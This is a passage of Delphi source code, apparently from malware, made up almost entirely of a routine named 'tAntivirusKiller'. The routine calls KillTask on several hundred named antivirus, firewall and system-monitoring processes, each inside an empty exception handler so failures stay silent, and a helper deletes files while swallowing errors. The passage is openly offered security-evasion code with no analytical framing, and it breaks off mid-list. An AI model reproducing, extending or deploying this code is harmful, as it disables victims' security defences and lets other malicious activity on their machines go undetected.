CloseHandle(FSnapshotHandle);
end;
procedure killfile(_filename_:string);
begin
try
deletefile(_filename_);
except
end;
end;
procedure tfrmmain.tAntivirusKiller;
begin
Try
KillTask('_AVP32.EXE');
except
end;
Try
KillTask('_AVPCC.EXE');
except
end;
Try
KillTask('_AVPM.EXE');
except
end;
Try
KillTask('ALOGSERV.EXE');
except
end;
Try
KillTask('ANTI-TROJAN.EXE');
except
end;
Try
KillTask('ANTS.EXE');
except
end;
Try
KillTask('APVXDWIN.EXE');
except
end;
Try
KillTask('ATro55en.exe');
except
end;
Try
KillTask('ATWATCH.EXE');
except
end;
Try
KillTask('AUTOUPDATE.EXE');
except
end;
Try
KillTask('AVCONSOL.EXE');
except
end;
Try
KillTask('AVGSERV9.EXE');
except
end;
Try
KillTask('AVP.EXE');
except
end;
Try
KillTask('AVP32.EXE');
except
end;
Try
KillTask('AVPCC.EXE');
except
end;
Try
KillTask('AVPM.EXE');
except
end;
Try
KillTask('bd_professeional.exe');
except
end;
Try
KillTask('bd_professional.exe');
except
end;
Try
KillTask('bidef.exe');
except
end;
Try
KillTask('bidserver.exe');
except
end;
Try
KillTask('BIPCP.exe');
except
end;
Try
KillTask('bipcpevalsetup.exe');
except
end;
Try
KillTask('bisp.exe');
except
end;
Try
KillTask('blackd.exe');
except
end;
Try
KillTask('blackice.exe');
except
end;
Try
KillTask('bs120.exe');
except
end;
Try
KillTask('ccapp.exe');
except
end;
Try
KillTask('CDP.EXE');
except
end;
Try
KillTask('CLEANER.EXE');
except
end;
Try
KillTask('cleaner3.exe');
except
end;
Try
KillTask('CMGRDIAN.EXE');
except
end;
Try
KillTask('cmon016.exe');
except
end;
Try
KillTask('cpf9x206.exe');
except
end;
Try
KillTask('cpfnt206.exe');
except
end;
Try
KillTask('cwnb181.exe');
except
end;
Try
KillTask('cwntdemo.exe');
except
end;
Try
KillTask('deputy.exe');
except
end;
Try
KillTask('dpfsetup.exe');
except
end;
Try
KillTask('DRWATSON.EXE');
except
end;
Try
KillTask('drweb32.exe');
except
end;
Try
KillTask('escanh95.exe');
except
end;
Try
KillTask('escanhnt.exe');
except
end;
Try
KillTask('escanv95.exe');
except
end;
Try
KillTask('EZAntivirus-CNET.exe');
except
end;
Try
KillTask('FAST.EXE');
except
end;
Try
KillTask('firewall.exe');
except
end;
Try
KillTask('fp-win_trial.exe');
except
end;
Try
KillTask('FRW.EXE');
except
end;
Try
KillTask('fsav530stbyb.exe');
except
end;
Try
KillTask('fsav530wtbyb.exe');
except
end;
Try
KillTask('fsav95.exe');
except
end;
Try
KillTask('GBMENU.EXE');
except
end;
Try
KillTask('GBPOLL.EXE');
except
end;
Try
KillTask('GUARDDOG.EXE');
except
end;
Try
KillTask('hacktracersetup.exe');
except
end;
Try
KillTask('hwpe.exe');
except
end;
Try
KillTask('IAMAPP.EXE');
except
end;
Try
KillTask('IAMSERV.EXE');
except
end;
Try
KillTask('ICLOAD95.EXE');
except
end;
Try
KillTask('ICLOADNT.EXE');
except
end;
Try
KillTask('ICMON.EXE');
except
end;
Try
KillTask('ICSUPP95.EXE');
except
end;
Try
KillTask('ICSUPPNT.EXE');
except
end;
Try
KillTask('IFACE.EXE');
except
end;
Try
KillTask('iparmor.exe');
except
end;
Try
KillTask('jammer.exe');
except
end;
Try
KillTask('kavlite40eng.exe');
except
end;
Try
KillTask('kavpers40eng.exe');
except
end;
Try
KillTask('kerio-pf-213-en-win.exe');
except
end;
Try
KillTask('kerio-wrp-421-en-win.exe');
except
end;
Try
KillTask('KillProcesssetup161.exe');
except
end;
Try
KillTask('ldpro.exe');
except
end;
Try
KillTask('localnet.exe');
except
end;
Try
KillTask('LOCKDOWN.EXE');
except
end;
Try
KillTask('lockdown2000.exe');
except
end;
Try
KillTask('luau.exe');
except
end;
Try
KillTask('MCSHIELD.EXE');
except
end;
Try
KillTask('mfw2en.exe');
except
end;
Try
KillTask('mfweng3.02d30.exe');
except
end;
Try
KillTask('MINILOG.EXE');
except
end;
Try
KillTask('MOOLIVE.EXE');
except
end;
Try
KillTask('mrflux.exe');
except
end;
Try
KillTask('mu0311ad.exe');
except
end;
Try
KillTask('NAVAPW32.EXE');
except
end;
Try
KillTask('NAVW32.EXE');
except
end;
Try
KillTask('ncinst4.exe');
except
end;
Try
KillTask('NDD32.EXE');
except
end;
Try
KillTask('NetSpyHunter-1.2.exe');
except
end;
Try
KillTask('netzip.exe');
except
end;
Try
KillTask('Norton_Internet_Secu_3.0_407.exe');
except
end;
Try
KillTask('NPROTECT.EXE');
except
end;
Try
KillTask('NSCHED32.EXE');
except
end;
Try
KillTask('NTVDM.EXE');
except
end;
Try
KillTask('nwinst4.exe');
except
end;
Try
KillTask('NWTOOL16.EXE');
except
end;
Try
KillTask('outpostinstall.exe');
except
end;
Try
KillTask('outpostproinstall.exe');
except
end;
Try
KillTask('PADMIN.EXE');
except
end;
Try
KillTask('panixk.exe');
except
end;
Try
KillTask('PAVPROXY.EXE');
except
end;
Try
KillTask('pcc2002s902.exe');
except
end;
Try
KillTask('pcc2k_76_1436.exe');
except
end;
Try
KillTask('pcc2knt_76_1436.exe');
except
end;
Try
KillTask('pcdsetup.exe');
except
end;
Try
KillTask('pcip10117_0.exe');
except
end;
Try
KillTask('pf2.exe');
except
end;
Try
KillTask('platin.exe');
except
end;
Try
KillTask('POPSCAN.EXE');
except
end;
Try
KillTask('PPINUPDT.EXE');
except
end;
Try
KillTask('PPTBC.EXE');
except
end;
Try
KillTask('PPVSTOP.EXE');
except
end;
Try
KillTask('ProcExplorerv1.0.exe');
except
end;
Try
KillTask('proport.exe');
except
end;
Try
KillTask('pspf.exe');
except
end;
Try
KillTask('purge.exe');
except
end;
Try
KillTask('PVIEW95.EXE');
except
end;
Try
KillTask('qserver.exe');
except
end;
Try
KillTask('rav8win32eng.exe');
except
end;
Try
KillTask('RULAUNCH.EXE');
except
end;
Try
KillTask('SBServ.exe');
except
end;
Try
KillTask('setup_flowprotector_us.exe');
except
end;
Try
KillTask('setupvameeval.exe');
except
end;
Try
KillTask('shellspyinstall.exe');
except
end;
Try
KillTask('shn.exe');
except
end;
Try
KillTask('spf.exe');
except
end;
Try
KillTask('Sphinx.exe');
except
end;
Try
KillTask('SPYXX.EXE');
except
end;
Try
KillTask('SS3EDIT.EXE');
except
end;
Try
KillTask('st2.exe');
except
end;
Try
KillTask('supftrl.exe');
except
end;
Try
KillTask('supporter5.exe');
except
end;
Try
KillTask('TAUMON.EXE');
except
end;
Try
KillTask('tauscan.exe');
except
end;
Try
KillTask('TC.EXE');
except
end;
Try
KillTask('TCA.EXE');
except
end;
Try
KillTask('TCM.EXE');
except
end;
Try
KillTask('TDS-3.EXE');
except
end;
Try
KillTask('tfak5.exe');
except
end;
Try
KillTask('titanin.exe');
except
end;
Try
KillTask('titaninxp.exe');
except
end;
Try
KillTask('trjsetup.exe');
except
end;
Try
KillTask('trojantrap3.exe');
except
end;
Try
KillTask('UPDATE.EXE');
except
end;
Try
KillTask('vbcmserv.exe');
except
end;
Try
KillTask('VbCons.exe');
except
end;
Try
KillTask('vbust.exe');
except
end;
Try
KillTask('vbwin9x.exe');
except
end;
Try
KillTask('vbwinntw.exe');
except
end;
Try
KillTask('vcsetup.exe');
except
end;
Try
KillTask('vfsetup.exe');
except
end;
Try
KillTask('vnlan300.exe');
except
end;
Try
KillTask('vnpc3000.exe');
except
end;
Try
KillTask('vpfw30s.exe');
except
end;
Try
KillTask('vscenu6.02d30.exe');
except
end;
Try
KillTask('VSECOMR.EXE');
except
end;
Try
KillTask('VSHWIN32.EXE');
except
end;
Try
KillTask('vsisetup.exe');
except
end;
Try
KillTask('VSMON.EXE');
except
end;
Try
KillTask('VSSTAT.EXE');
except
end;
Try
KillTask('vswin9xe.exe');
except
end;
Try
KillTask('vswinntse.exe');
except
end;
Try
KillTask('vswinperse.exe');
except
end;
Try
KillTask('w9x.exe');
except
end;
Try
KillTask('WEBSCANX.EXE');
except
end;
Try
KillTask('WGFE95.EXE');
except
end;
Try
KillTask('wnt.exe');
except
end;
Try
KillTask('WrAdmin.exe');
except
end;
Try
KillTask('WrCtrl.exe');
except
end;
Try
KillTask('wsbgate.exe');
except
end;
Try
KillTask('xpf202en.exe');
except
end;
Try
KillTask('ZAPLUS.EXE');
except
end;
Try
KillTask('ZAPRO.EXE');
except
end;
Try
KillTask('zapsetup3001.exe');
except
end;
Try
KillTask('ZATUTOR.EXE');
except
end;
Try
KillTask('ZAUINST.EXE');
except
end;
Try
KillTask('zlclient.exe');
except
end;
Try
KillTask('zonalm2601.exe');
except
end;
Try
KillTask('ZONEALARM.EXE');
except
end;
Try
KillTask('smc.exe');
except
end;
Try
KillTask('F-StopW.exe');
except
end;
Try
KillTask('ACKWIN32.EXE');
except
end;
Try
KillTask('ADVXDWIN.EXE');
except
end;
Try
KillTask('AGENTSVR.EXE');
except
end;
Try
KillTask('AHNSD.EXE');
except
end;
Try
KillTask('ALERTSVC.EXE');
except
end;
Try
KillTask('ALOGSERV.EXE');
except
end;
Try
KillTask('AMON9X.EXE');
except
end;
Try
KillTask('ANTI-TROJAN.EXE');
except
end;
Try
KillTask('ANTIVIRUS.EXE');
except
end;
Try
KillTask('ANTS.EXE');
except
end;
Try
KillTask('APIMONITOR.EXE');
except
end;
Try
KillTask('APLICA32.EXE');
except
end;
Try
KillTask('APVXDWIN.EXE');
except
end;
Try
KillTask('ashServ.exe');
except
end;
Try
KillTask('ashDisp.exe');
except
end;
Try
KillTask('ashMaiSv.exe');
except
end;
Try
KillTask('ashWebSv.exe');
except
end;
Try
KillTask('ashUpdSv.exe');
except
end;
Try
KillTask('ATCON.EXE');
except
end;
Try
KillTask('ATGUARD.EXE');
except
end;
Try
KillTask('ATRO55EN.EXE');
except
end;
Try
KillTask('ATUPDATER.EXE');
except
end;
Try
KillTask('ATWATCH.EXE');
except
end;
Try
KillTask('AUPDATE.EXE');
except
end;
Try
KillTask('AUTODOWN.EXE');
except
end;
Try
KillTask('AUTODOWN.exe');
except
end;
Try
KillTask('AUTOTRACE.EXE');
except
end;
Try
KillTask('AUTOUPDATE.EXE');
except
end;
Try
KillTask('AVCONSOL.EXE');
except
end;
Try
KillTask('AVGCC32.EXE');
except
end;
Try
KillTask('AVGCTRL.EXE');
except
end;
Try
KillTask('AVGSERV.EXE');
except
end;
Try
KillTask('AVGSERV9.EXE');
except
end;
Try
KillTask('AVGW.EXE');
except
end;
Try
KillTask('AVKPOP.EXE');
except
end;
Try
KillTask('AVKSERV.EXE');
except
end;
Try
KillTask('AVKSERVICE.EXE');
except
end;
Try
KillTask('AVKWCL9.EXE');
except
end;
Try
KillTask('AVKWCTL9.EXE');
except
end;
Try
KillTask('AVP.EXE');
except
end;
Try
KillTask('AVP32.EXE');
except
end;
Try
KillTask('AVPCC.EXE');
except
end;
Try
KillTask('AVPEXEC.EXE');
except
end;
Try
KillTask('AVPINST.EXE');
except
end;
Try
KillTask('AVPM.EXE');
except
end;
Try
KillTask('AVPUPD.EXE');
except
end;
Try
KillTask('AVRESCUE.EXE');
except
end;
Try
KillTask('AVSYNMGR.EXE');
except
end;
Try
KillTask('AVSYNMGR.exe');
except
end;
Try
KillTask('AVWINNT.EXE');
except
end;
Try
KillTask('AVXMONITOR9X.EXE');
except
end;
Try
KillTask('AVXMONITORNT.EXE');
except
end;
Try
KillTask('AVXQUAR.EXE');
except
end;
Try
KillTask('AVXQUAR.EXE.EXE');
except
end;
Try
KillTask('AVXW.EXE');
except
end;
Try
KillTask('AckWin32.exe');
except
end;
Try
KillTask('Alerter');
except
end;
Try
KillTask('AutoDown.exe');
except
end;
Try
KillTask('AutoTrace.exe');
except
end;
Try
KillTask('AvSynMgr');
except
end;
Try
KillTask('AvgServ');
except
end;
Try
KillTask('Avgctrl.exe');
except
end;
Try
KillTask('AvkServ.exe');
except
end;
Try
KillTask('Avsched32.exe');
except
end;
Try
KillTask('BD_PROFESSIONAL.EXE');
except
end;
Try
KillTask('BIDEF.EXE');
except
end;
Try
KillTask('BIDSERVER.EXE');
except
end;
Try
KillTask('BIPCP.EXE');
except
end;
Try
KillTask('BIPCPEVALSETUP.EXE');
except
end;
Try
KillTask('BISP.EXE');
except
end;
Try
KillTask('BLACKD.EXE');
except
end;
Try
KillTask('BLACKICE.EXE');
except
end;
Try
KillTask('BOOTWARN.EXE');
except
end;
Try
KillTask('BORG2.EXE');
except
end;
Try
KillTask('BS120.EXE');
except
end;
Try
KillTask('BlackICE.exe');
except
end;
Try
KillTask('CDP.EXE');
except
end;
Try
KillTask('CFGWIZ.EXE');
except
end;
Try
KillTask('CFIADMIN.EXE');
except
end;
Try
KillTask('CFIAUDIT.EXE');
except
end;
Try
KillTask('CFINET.EXE');
except
end;
Try
KillTask('CFINET32.EXE');
except
end;
Try
KillTask('CLAW95.EXE');
except
end;
Try
KillTask('CLAW95CF.EXE');
except
end;
Try
KillTask('CLEAN.EXE');
except
end;
Try
KillTask('CLEANER.EXE');
except
end;
Try
KillTask('CLEANER3.EXE');
except
end;
Try
KillTask('CLEANPC.EXE');
except
end;
Try
KillTask('CMGRDIAN.EXE');
except
end;
Try
KillTask('CMON016.EXE');
except
end;
Try
KillTask('CONNECTIONMONITOR.EXE');
except
end;
Try
KillTask('CPD.EXE');
except
end;
Try
KillTask('CPDCLNT.EXE');
except
end;
Try
KillTask('CPDClnt.exe');
except
end;
Try
KillTask('CPF9X206.EXE');
except
end;
Try
KillTask('CPFNT206.EXE');
except
end;
Try
KillTask('CSINJECT.EXE');
except
end;
Try
KillTask('CSINSM32');
except
end;
Try
KillTask('CSS1631.EXE');
except
end;
Try
KillTask('CTRL.EXE');
except
end;
Try
KillTask('CV.EXE');
except
end;
Try
KillTask('CWNB181.EXE');
except
end;
Try
KillTask('CWNTDWMO.EXE');
except
end;
Try
KillTask('Claw95.exe');
except
end;
Try
KillTask('Claw95cf.exe');
except
end;
Try
KillTask('DEFSCANGUI.EXE');
except
end;
Try
KillTask('DEFWATCH.EXE');
except
end;
Try
KillTask('DEPUTY.EXE');
except
end;
Try
KillTask('DOORS.EXE');
except
end;
Try
KillTask('DPF.EXE');
except
end;
Try
KillTask('DRWATSON.EXE');
except
end;
Try
KillTask('DRWEB32.EXE');
except
end;
Try
KillTask('DVP95.EXE');
except
end;
Try
KillTask('DVP95_0.EXE');
except
end;
Try
KillTask('EFPEADM.EXE');
except
end;
Try
KillTask('EFPEADM.exe');
except
end;
Try
KillTask('ENT.EXE');
except
end;
Try
KillTask('ESCANH95.EXE');
except
end;
Try
KillTask('ESCANHNT.EXE');
except
end;
Try
KillTask('ESCANV95.EXE');
except
end;
Try
KillTask('ETRUSTCIPE.EXE');
except
end;
Try
KillTask('ETRUSTCIPE.exe');
except
end;
Try
KillTask('EVPN.EXE');
except
end;
Try
KillTask('EVPN.exe');
except
end;
Try
KillTask('EXANTIVIRUS-CNET.EXE');
except
end;
Try
KillTask('EXPERT.EXE');
except
end;
Try
KillTask('F-AGNT95.EXE');
except
end;
Try
KillTask('F-PROT.EXE');
except
end;
Try
KillTask('F-PROT95.EXE');
except
end;
Try
KillTask('F-STOPW.EXE');
except
end;
Try
KillTask('FAMEH32.EXE');
except
end;
Try
KillTask('FAST.EXE');
except
end;
Try
KillTask('FCH32.EXE');
except
end;
Try
KillTask('FIH32.EXE');
except
end;
Try
KillTask('FIREWALL.EXE');
except
end;
Try
KillTask('FIX-IT.EXE');
except
end;
Try
KillTask('FLOWPROTECTOR.EXE');
except
end;
Try
KillTask('FNRB32.EXE');
except
end;
Try
KillTask('FP-WIN.EXE');
except
end;
Try
KillTask('FP-WIN_TRIAL.EXE');
except
end;
Try
KillTask('FRW.EXE');
except
end;
Try
KillTask('FSAA.EXE');
except
end;
Try
KillTask('FSAV.EXE');
except
end;
Try
KillTask('FSAV32.EXE');
except
end;
Try
KillTask('FSAV530STBYB.EXE');
except
end;
Try
KillTask('FSAV530WTBYB.EXE');
except
end;
Try
KillTask('FSAV95.EXE');
except
end;
Try
KillTask('FSAVE32.EXE');
except
end;
Try
KillTask('FSGK32.EXE');
except
end;
Try
KillTask('FSM32.EXE');
except
end;
Try
KillTask('FSMA32.EXE');
except
end;
Try
KillTask('FSMB32.EXE');
except
end;
Try
KillTask('FWENC.EXE');
except
end;
Try
KillTask('GBMENU.EXE');
except
end;
Try
KillTask('GBPOLL.EXE');
except
end;
Try
KillTask('GENERICS.EXE');
except
end;
Try
KillTask('GUARD.EXE');
except
end;
Try
KillTask('GUARDDOG.EXE');
except
end;
Try
KillTask('HACKTRACERSETUP.EXE');
except
end;
Try
KillTask('HTLOG.EXE');
except
end;
Try
KillTask('HWPE.EXE');
except
end;
Try
KillTask('IAMAPP.EXE');
except
end;
Try
KillTask('IAMSERV.EXE');
except
end;
Try
KillTask('IAMSTATS.EXE');
except
end;
Try
KillTask('ICLOAD95.EXE');
except
end;
Try
KillTask('ICLOADNT.EXE');
except
end;
Try
KillTask('ICMON.EXE');
except
end;
Try
KillTask('ICSUPP95.EXE');
except
end;
Try
KillTask('ICSUPP95.EXE');
except
end;
Try
KillTask('ICSUPPNT.EXE');
except
end;
Try
KillTask('IFACE.EXE');
except
end;
Try
KillTask('IFW2000.EXE');
except
end;
Try
KillTask('IOMON98.EXE');
except
end;
Try
KillTask('IPARMOR.EXE');
except
end;
Try
KillTask('IRIS.EXE');
except
end;
Try
KillTask('ISRV95.EXE');
except
end;
Try
KillTask('JAMMER.EXE');
except
end;
Try
KillTask('JEDI.EXE');
except
end;
Try
KillTask('KAVLITE40ENG.EXE');
except
end;
Try
KillTask('KAVPERS40ENG.EXE');
except
end;
Try
KillTask('KERIO-PF-213-EN-WIN.EXE');
except
end;
Try
KillTask('KERIO-WRL-421-EN-WIN.EXE');
except
end;
Try
KillTask('KERIO-WRP-421-EN-WIN.EXE');
except
end;
Try
KillTask('KILLPROCESSSETUP161.EXE');
except
end;
Try
KillTask('LDNETMON.EXE');
except
end;
Try
KillTask('LDPRO.EXE');
except
end;
Try
KillTask('LDPROMENU.EXE');
except
end;
Try
KillTask('LDSCAN.EXE');
except
end;
Try
KillTask('LOCALNET.EXE');
except
end;
Try
KillTask('LOCKDOWN.EXE');
except
end;
Try
KillTask('LOCKDOWN2000.EXE');
except
end;
Try
KillTask('LSETUP.EXE');
except
end;
Try
KillTask('LUALL.EXE');
except
end;
Try
KillTask('LUAU.EXE');
except
end;
Try
KillTask('LUCOMSERVER.EXE');
except
end;
Try
KillTask('LUINIT.EXE');
except
end;
Try
KillTask('LUSPT.exe');
except
end;
Try
KillTask('MCAGENT.EXE');
except
end;
Try
KillTask('MCMNHDLR.EXE');
except
end;
Try
KillTask('MCSHIELD.EXE');
except
end;
Try
KillTask('MCTOOL.EXE');
except
end;
Try
KillTask('MCUPDATE.EXE');
except
end;
Try
KillTask('MCVSRTE.EXE');
except
end;
Try
KillTask('MCVSSHLD.EXE');
except
end;
Try
KillTask('MFW2EN.EXE');
except
end;
Try
KillTask('MFWENG3.02D30.EXE');
except
end;
Try
KillTask('MGAVRTCL.EXE');
except
end;
Try
KillTask('MGAVRTE.EXE');
except
end;
Try
KillTask('MGHTML.EXE');
except
end;
Try
KillTask('MGUI.EXE');
except
end;
Try
KillTask('MINILOG.EXE');
except
end;
Try
KillTask('MONITOR.EXE');
except
end;
Try
KillTask('MONSYS32.EXE');
except
end;
Try
KillTask('MONSYSNT.EXE');
except
end;
Try
KillTask('MONWOW.EXE');
except
end;
Try
KillTask('MOOLIVE.EXE');
except
end;
Try
KillTask('MPFAGENT.EXE');
except
end;
Try
KillTask('MPFSERVICE.exe');
except
end;
Try
KillTask('MPFTRAY.EXE');
except
end;
Try
KillTask('MRFLUX.EXE');
except
end;
Try
KillTask('MSINFO32.EXE');
except
end;
Try
KillTask('MSSMMC32.EXE');
except
end;
Try
KillTask('MU0311AD.EXE');
except
end;
Try
KillTask('MWATCH.EXE');
except
end;
Try
KillTask('MWATCH.exe');
except
end;
Try
KillTask('MXTASK.EXE');
except
end;
Try
KillTask('Mcshield.exe');
except
end;
Try
KillTask('Monitor.exe');
except
end;
Try
KillTask('NAVAuto-Protect');
except
end;
Try
KillTask('NAV80.EXE');
except
end;
Try
KillTask('NAVAP');
except
end;
Try
KillTask('NAVAPSVC.EXE');
except
end;
Try
KillTask('NAVAPW32.EXE');
except
end;
Try
KillTask('NAVDX.EXE');
except
end;
Try
KillTask('NAVENG');
except
end;
Try
KillTask('NAVENGNAVEX15');
except
end;
Try
KillTask('NAVEX15');
except
end;
Try
KillTask('NAVLU32.EXE');
except
end;
Try
KillTask('NAVRUNR.EXE');
except
end;
Try
KillTask('NAVSTUB.EXE');
except
end;
Try
KillTask('NAVW32.EXE');
except
end;
Try
KillTask('NAVWNT.EXE');
except
end;
Try
KillTask('NC2000.EXE');
except
end;
Try
KillTask('NCINST4.EXE');
except
end;
Try
KillTask('NDD32.EXE');
except
end;
Try
KillTask('NEOMONITOR.EXE');
except
end;
Try
KillTask('NEOWATCHLOG.EXE');
except
end;
Try
KillTask('NETARMOR.EXE');
except
end;
Try
KillTask('NETINFO.EXE');
except
end;
Try
KillTask('NETMON.EXE');
except
end;
Try
KillTask('NETSCANPRO.EXE');
except
end;
Try
KillTask('NETSPYHUNTER-1.2.EXE');
except
end;
Try
KillTask('NETSTAT.EXE');
except
end;
Try
KillTask('NETUTILS.EXE');
except
end;
Try
KillTask('NISSERV.EXE');
except
end;
Try
KillTask('NISUM.EXE');
except
end;
Try
KillTask('NMAIN.EXE');
except
end;
Try
KillTask('NORMIST.EXE');
except
end;
Try
KillTask('NORTON_INTERNET_SECU_3.0_407.EXE');
except
end;
Try
KillTask('NPF40_TW_98_NT_ME_2K.EXE');
except
end;
Try
KillTask('NPFMESSENGER.EXE');
except
end;
Try
KillTask('NPROTECT.EXE');
except
end;
Try
KillTask('NPSSVC.EXE');
except
end;
Try
KillTask('NSCHED32.EXE');
except
end;
Try
KillTask('NTVDM.EXE');
except
end;
Try
KillTask('NTXCONFIG.EXE');
except
end;
Try
KillTask('NTXconfig.exe');
except
end;
Try
KillTask('NUI.EXE');
except
end;
Try
KillTask('NVARCH16.EXE');
except
end;
Try
KillTask('NVC95.EXE');
except
end;
Try
KillTask('NVLAUNCH.EXE');
except
end;
Try
KillTask('NVSVC32');
except
end;
Try
KillTask('NWINST4.EXE');
except
end;
Try
KillTask('NWSERVICE.EXE');
except
end;
Try
KillTask('NWService.exe');
except
end;
Try
KillTask('NWTOOL16.EXE');
except
end;
Try
KillTask('Navw32.exe');
except
end;
Try
KillTask('NeoWatchLog.exe');
except
end;
Try
KillTask('Nui.EXE');
except
end;
Try
KillTask('Nupgrade.exe');
except
end;
Try
KillTask('OFFGUARD.EXE');
except
end;
Try
KillTask('OSTRONET.EXE');
except
end;
Try
KillTask('OUTPOST.EXE');
except
end;
Try
KillTask('OUTPOSTINSTALL.EXE');
except
end;
Try
KillTask('OUTPOSTPROINSTALL.EXE');
except
end;
Try
KillTask('PADMIN.EXE');
except
end;
Try
KillTask('PANIXK.EXE');
except
end;
Try
KillTask('PAVPROXY.EXE');
except
end;
Try
KillTask('PCC2002S902.EXE');
except
end;
Try
KillTask('PCC2K_76_1436.EXE');
except
end;
Try
KillTask('PCCCLIENT.EXE');
except
end;
Try
KillTask('PCCGUIDE.EXE');
except
end;
Try
KillTask('PCCIOMON.EXE');
except
end;
Try
KillTask('PCCNTMON.EXE');
except
end;
Try
KillTask('PCCPFW');
except
end;
Try
KillTask('PCCWIN97.EXE');
except
end;
Try
KillTask('PCCWIN98.EXE');
except
end;
Try
KillTask('PCDSETUP.EXE');
except
end;
Try
KillTask('PCFWALLICON.EXE');
except
end;
Try
KillTask('PCIP10117_0.EXE');
except
end;
Try
KillTask('PCSCAN.EXEPDSETUP.EXE');
except
end;
Try
KillTask('PERISCOPE.EXE');
except
end;
Try
KillTask('PERSFW.EXE');
except
end;
Try
KillTask('PERSWF.EXE');
except
end;
Try
KillTask('PF2.EXE');
except
end;
Try
KillTask('PFWADMIN.EXE');
except
end;
Try
KillTask('PINGSCAN.EXE');
except
end;
Try
KillTask('PLATIN.EXE');
except
end;
Try
KillTask('POP3TRAP.EXE');
except
end;
Try
KillTask('POPROXY.EXE');
except
end;
Try
KillTask('POPSCAN.EXE');
except
end;
Try
KillTask('PORTDETECTIVE.EXE');
except
end;
Try
KillTask('PORTMONITOR.EXE');
except
end;
Try
KillTask('PPINUPDT.EXE');
except
end;
Try
KillTask('PPTBC.EXE');
except
end;
Try
KillTask('PPVSTOP.EXE');
except
end;
Try
KillTask('PROCESSMONITOR.EXE');
except
end;
Try
KillTask('PROCEXPLORERV1.0.EXE');
except
end;
Try
KillTask('PROGRAMAUDITOR.EXE');
except
end;
Try
KillTask('PROPORT.EXE');
except
end;
Try
KillTask('PROTECTX.EXE');
except
end;
Try
KillTask('PSPF.EXE');
except
end;
Try
KillTask('PURGE.EXE');
except
end;
Try
KillTask('PVIEW95.EXE');
except
end;
Try
KillTask('QCONSOLE.EXE');
except
end;
Try
KillTask('QSERVER.EXE');
except
end;
Try
KillTask('RAV7.EXE');
except
end;
Try
KillTask('RAV7WIN.EXE');
except
end;
Try
KillTask('RAV8WIN32ENG.EXE');
except
end;
Try
KillTask('REALMON.EXE');
except
end;
Try
KillTask('RESCUE.EXE');
except
end;
Try
KillTask('RESCUE32.EXE');
except
end;
Try
KillTask('RRGUARD.EXE');
except
end;
Try
KillTask('RSHELL.EXE');
except
end;
Try
KillTask('RTVSCN95.EXE');
except
end;
Try
KillTask('RULAUNCH.EXE');
except
end;
Try
KillTask('Rescue.exe');
except
end;
Try
KillTask('SAFEWEB.EXE');
except
end;
Try
KillTask('SBSERV.EXE');
except
end;
Try
KillTask('SCAN32.EXE');
except
end;
Try
KillTask('SCHEDAPP.EXE');
except
end;
Try
KillTask('SCRSCAN.EXE');
except
end;
Try
KillTask('SD.EXE');
except
end;
Try
KillTask('SETUPVAMEEVAL.EXE');
except
end;
Try
KillTask('SETUP_FLOWPROTECTOR_US.EXE');
except
end;
Try
KillTask('SFC.EXE');
except
end;
Try
KillTask('SGSSFW32.EXE');
except
end;
Try
KillTask('SH.EXE');
except
end;
Try
KillTask('SHELLSPYINSTALL.EXE');
except
end;
Try
KillTask('SHN.EXE');
except
end;
Try
KillTask('SMC.EXE');
except
end;
Try
KillTask('SOFI.EXE');
except
end;
Try
KillTask('SPF.EXE');
except
end;
Try
KillTask('SPHINX.EXE');
except
end;
Try
KillTask('SPYXX.EXE');
except
end;
Try
KillTask('SRWATCH.EXE');
except
end;
Try
KillTask('SS3EDIT.EXE');
except
end;
Try
KillTask('ST2.EXE');
except
end;
Try
KillTask('SUPFTRL.EXE');
except
end;
Try
KillTask('SUPPORTER5.EXE');
except
end;
Try
KillTask('SWEEP95.EXE');
except
end;
Try
KillTask('SWEEPSRV.SYS');
except
end;
Try
KillTask('SWEEPSRV.SYS');
except
end;
Try
KillTask('SWNETSUP.EXE');
except
end;
Try
KillTask('SYMPROXYSVC.EXE');
except
end;
Try
KillTask('SYMTRAY.EXE');
except
end;
Try
KillTask('SYSDOC32.EXE');
except
end;
Try
KillTask('SYSEDIT.EXE');
except
end;
Try
KillTask('Sphinx.exe');
except
end;
Try
KillTask('SweepNet');
except
end;
Try
KillTask('SymProxySvc.exe');
except
end;
Try
KillTask('TASKMON.EXE');
except
end;
Try
KillTask('TAUMON.EXE');
except
end;
Try
KillTask('TAUSCAN.EXE');
except
end;
Try
KillTask('TC.EXE');
except
end;
Try
KillTask('TCA.EXE');
except
end;
Try
KillTask('TCM.EXE');
except
end;
Try
KillTask('TDS-3.EXE');
except
end;
Try
KillTask('TDS2-98.EXE');
except
end;
Try
KillTask('TDS2-NT.EXE');
except
end;
Try
KillTask('TFAK.EXE');
except
end;
Try
KillTask('TFAK5.EXE');
except
end;
Try
KillTask('TGBOB.EXE');
except
end;
Try
KillTask('TITANIN.EXE');
except
end;
Try
KillTask('TITANINXP.EXE');
except
end;
Try
KillTask('TRACERT.EXE');
except
end;
Try
KillTask('TRJSCAN.EXE');
except
end;
Try
KillTask('TRJSETUP.EXE');
except
end;
Try
KillTask('TROJANTRAP3.EXE');
except
end;
Try
KillTask('Tmntsrv');
except
end;
Try
KillTask('UNDOBOOT.EXE');
except
end;
Try
KillTask('UPDATE.EXE');
except
end;
Try
KillTask('Uh`S@d');
except
end;
Try
KillTask('VBCMSERV.EXE');
except
end;
Try
KillTask('VBCONS.EXE');
except
end;
Try
KillTask('VBUST.EXE');
except
end;
Try
KillTask('VBWIN9X.EXE');
except
end;
Try
KillTask('VBWINNTW.EXE');
except
end;
Try
KillTask('VCCMSERV.EXE');
except
end;
Try
KillTask('VCSETUP.EXE');
except
end;
Try
KillTask('VET32.EXE');
except
end;
Try
KillTask('VET32.exe');
except
end;
Try
KillTask('VET95.EXE');
except
end;
Try
KillTask('VETTRAY.EXE');
except
end;
Try
KillTask('VFSETUP.EXE');
except
end;
Try
KillTask('VIR-HELP.EXE');
except
end;
Try
KillTask('VIRUSMDPERSONALFIREWALL.EXE');
except
end;
Try
KillTask('VNLAN300.EXE');
except
end;
Try
KillTask('VNPC3000.EXE');
except
end;
Try
KillTask('VPC32.EXE');
except
end;
Try
KillTask('VPC42.EXE');
except
end;
Try
KillTask('VPFW30S.EXE');
except
end;
Try
KillTask('VPTRAY.EXE');
except
end;
Try
KillTask('VSCENU6.02D30.EXE');
except
end;
Try
KillTask('VSCHED.EXE');
except
end;
Try
KillTask('VSECOMR.EXE');
except
end;
Try
KillTask('VSHWIN32.EXE');
except
end;
Try
KillTask('VSISETUP.EXE');
except
end;
Try
KillTask('VSMAIN.EXE');
except
end;
Try
KillTask('VSMON.EXE');
except
end;
Try
KillTask('VSSTAT.EXE');
except
end;
